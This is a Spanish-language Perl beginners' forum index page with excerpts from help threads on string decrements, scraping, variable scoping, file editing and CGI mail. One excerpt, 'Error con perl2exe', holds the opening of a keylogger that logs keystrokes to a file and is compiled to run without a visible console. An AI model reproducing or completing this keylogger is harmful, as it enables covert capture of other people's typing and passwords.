Sí funcionan con los números, pero no con letras. Por ejemplo, si pongo:
print --($foo = 'BA');
Entiendo que debería aparecer en pantalla "AZ", pero en vez de eso me muestra "-1". Extrañamente, sí funciona bien el incremento.
-
- Publicidad
Fecha actual 2025-01-13 02:42 @154
News of Básico
Site map of Básico » Foro : Básico
¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.No funcionan los decrementos
Read more : No funcionan los decrementos | Vistas : 731 | Respuestas : 5
Buscar en Google
Estimados,
Los molesto porque me gustaría hacer que el siguiente script me guarde los resultados en archivos diferentes y no como ahora todo en uno solo.
#!/usr/bin/perl
BEGIN {
eval "use LWP::Simple";
if ($@) {
warn "Error al cargar modulo: LWP::Simple\n"
. "Instalar Modulo:\n"
. "\t\tcpan\n"
. "\t\tcpan> install LWP::Simple\n";
exit();
}
}
use LWP::Simple;
sub unescape {
my ($str) = splice(@_);
$str =~ s/\\u(.{4})/chr(hex($1))/eg;
return $str;
}
## Archivo Externo
open $FILE, ...
Los molesto porque me gustaría hacer que el siguiente script me guarde los resultados en archivos diferentes y no como ahora todo en uno solo.
#!/usr/bin/perl
BEGIN {
eval "use LWP::Simple";
if ($@) {
warn "Error al cargar modulo: LWP::Simple\n"
. "Instalar Modulo:\n"
. "\t\tcpan\n"
. "\t\tcpan> install LWP::Simple\n";
exit();
}
}
use LWP::Simple;
sub unescape {
my ($str) = splice(@_);
$str =~ s/\\u(.{4})/chr(hex($1))/eg;
return $str;
}
## Archivo Externo
open $FILE, ...
Read more : Buscar en Google | Vistas : 748 | Respuestas : 7
my y local
Nos han puesto un ejercicio que consiste en explicar las diferencias entre las variables locales y restringidas, con un ejemplo. Solo quiero saber si queda claro de la forma en la que lo he hecho.
numeros (); #Mostraremos en pantalla el resultado de la función "numeros".
sub numeros { #Defino la función numeros.
my $a = 5; #Defino una variable restringida con my, en este caso $a.
my $b = 10; #Defino otra variable ...
numeros (); #Mostraremos en pantalla el resultado de la función "numeros".
sub numeros { #Defino la función numeros.
my $a = 5; #Defino una variable restringida con my, en este caso $a.
my $b = 10; #Defino otra variable ...
Read more : my y local | Vistas : 524 | Respuestas : 3
Reconocer y contabilizar caracteres
Hola a todos. Deseo identificar las 'a' y las 'b' de la cadena para imprimirlas y contarlas.
Ejemplo:
Entrada: aababaabb\n
Salida ababab\n
Entrada: aaaab\n\n
Salida: ab\n\n
Es decir, si hay una 'a' o 'b', despliega la letra; si hay más de una 'a' o 'b', además de la letra despliega la cantidad en corchetes.
Además debo desplegar la cantidad de líneas en blanco que haya.
He hecho algo así, pero no funciona
while (<>) ...
Ejemplo:
Entrada: aababaabb\n
Salida ababab\n
Entrada: aaaab\n\n
Salida: ab\n\n
Es decir, si hay una 'a' o 'b', despliega la letra; si hay más de una 'a' o 'b', además de la letra despliega la cantidad en corchetes.
Además debo desplegar la cantidad de líneas en blanco que haya.
He hecho algo así, pero no funciona
while (<>) ...
Read more : Reconocer y contabilizar caracteres | Vistas : 1669 | Respuestas : 16
Definir una función que sume números introducidos
Es un ejercicio muy sencillo y debo de estar fallando en alguna tontería pero el programa que he elaborado me devuelve como resultado el último valor introducido. ¿En qué me falla?
print "Introduzca la cantidad de números a sumar: ";
my $a = <STDIN>;
chomp($a);
while ( $a <= 0 ) {
print "Introduzca un número mayor de 0:";
my $a = <STDIN>;
chomp($a);
}
if ( $a > 0 ) {
my $n ...
print "Introduzca la cantidad de números a sumar: ";
my $a = <STDIN>;
chomp($a);
while ( $a <= 0 ) {
print "Introduzca un número mayor de 0:";
my $a = <STDIN>;
chomp($a);
}
if ( $a > 0 ) {
my $n ...
Read more : Definir una función que sume números introducidos | Vistas : 499 | Respuestas : 3
Eliminar y añadir filas en un fichero plano
Hola compañeros,
He eliminado la primera fila de una serie de ficheros planos de la siguiente manera.
my @arxius_U = sort </home/enric/ASCII/2012042000/UGRD10m*.dat>;
my @arxius_V = sort </home/enric/ASCII/2012042000/VGRD10m*.dat>;
for my $arxius (@arxius_U) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
for my $arxius (@arxius_V) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
Se elimina, pero ¿hay alguna manera de agrupar en menos líneas esta estructura? Básicamente estoy ...
He eliminado la primera fila de una serie de ficheros planos de la siguiente manera.
my @arxius_U = sort </home/enric/ASCII/2012042000/UGRD10m*.dat>;
my @arxius_V = sort </home/enric/ASCII/2012042000/VGRD10m*.dat>;
for my $arxius (@arxius_U) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
for my $arxius (@arxius_V) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
Se elimina, pero ¿hay alguna manera de agrupar en menos líneas esta estructura? Básicamente estoy ...
Read more : Eliminar y añadir filas en un fichero plano | Vistas : 1219 | Respuestas : 10
Error con perl2exe
Hola tengo el siguiente código.
#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010
use Win32::API;
my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num ( 0x30 .. 0x39 ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}
for my $num ( 0x41 .. 0x5A ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}
} ...
#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010
use Win32::API;
my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num ( 0x30 .. 0x39 ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}
for my $num ( 0x41 .. 0x5A ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}
} ...
Read more : Error con perl2exe | Vistas : 796 | Respuestas : 7
Cortar variables
¡Hola! :D Soy nueva en Perl.. ¡A ver si me podéis ayudar con un problema!
Tengo una tabla con X líneas, las líneas tienen distinta longitud.
Ejemplo de una línea:
Abnormalities(C0000768) NAT2(10) CDH2(1000) SHFM3(100049542) MIR874(100126343)
Lo que quiero hacer es "limpiar" toda la tabla, quitando los códigos que están entre paréntesis.
Estoy intentado lo siguiente:
use strict;
open( FHANDLE, "Disease.txt" );
while (<FHANDLE>) {
chomp; ...
Tengo una tabla con X líneas, las líneas tienen distinta longitud.
Ejemplo de una línea:
Abnormalities(C0000768) NAT2(10) CDH2(1000) SHFM3(100049542) MIR874(100126343)
Lo que quiero hacer es "limpiar" toda la tabla, quitando los códigos que están entre paréntesis.
Estoy intentado lo siguiente:
use strict;
open( FHANDLE, "Disease.txt" );
while (<FHANDLE>) {
chomp; ...
Read more : Cortar variables | Vistas : 494 | Respuestas : 2
CGI para enviar correos
Hola
Tengo el siguiente script en CGI:
#!/usr/bin/perl
#(C) Gustavs Avotins, 2002
do 'sessions.cgi';
do 'sendemailfunc.cgi';
$DAYSDELAY = 0; # allow emailing once every $DAYSDELAY or more days, >= 0
$ALLOWONLYPAIDMEMBERS = 0; # allow only paid members to use this script. 1=yes, 0=no
# (set to 1 only if PaidMembers addon is installed)
# The text below will be added at the end of all messages when sent in TEXT format.
# By ...
Tengo el siguiente script en CGI:
#!/usr/bin/perl
#(C) Gustavs Avotins, 2002
do 'sessions.cgi';
do 'sendemailfunc.cgi';
$DAYSDELAY = 0; # allow emailing once every $DAYSDELAY or more days, >= 0
$ALLOWONLYPAIDMEMBERS = 0; # allow only paid members to use this script. 1=yes, 0=no
# (set to 1 only if PaidMembers addon is installed)
# The text below will be added at the end of all messages when sent in TEXT format.
# By ...
Read more : CGI para enviar correos | Vistas : 2034 | Respuestas : 6
print <<ENDHTML_LAST
¡Hola! Soy estudiante y para aprender me dieron un código, donde la idea es que una página estática sea manejada por Perl, pero tiene esta forma :
$| = 1;
print <<ENDHTML_LAST
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
....
ENDHTML_LAST
Soy bastante nueva y no conozco mucho de Perl y menos de HTML, y no encuentro información sobre ENDHTML_LAST. ¿Alguien me podría ayudar para saber dónde obtengo información o saber de qué ...
$| = 1;
print <<ENDHTML_LAST
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
....
ENDHTML_LAST
Soy bastante nueva y no conozco mucho de Perl y menos de HTML, y no encuentro información sobre ENDHTML_LAST. ¿Alguien me podría ayudar para saber dónde obtengo información o saber de qué ...
Read more : print <<ENDHTML_LAST | Vistas : 344 | Respuestas : 1
Last 10 active topics
Estadísticas
Mensajes totales 36890 • Temas totales 7432 • Usuarios totales 1981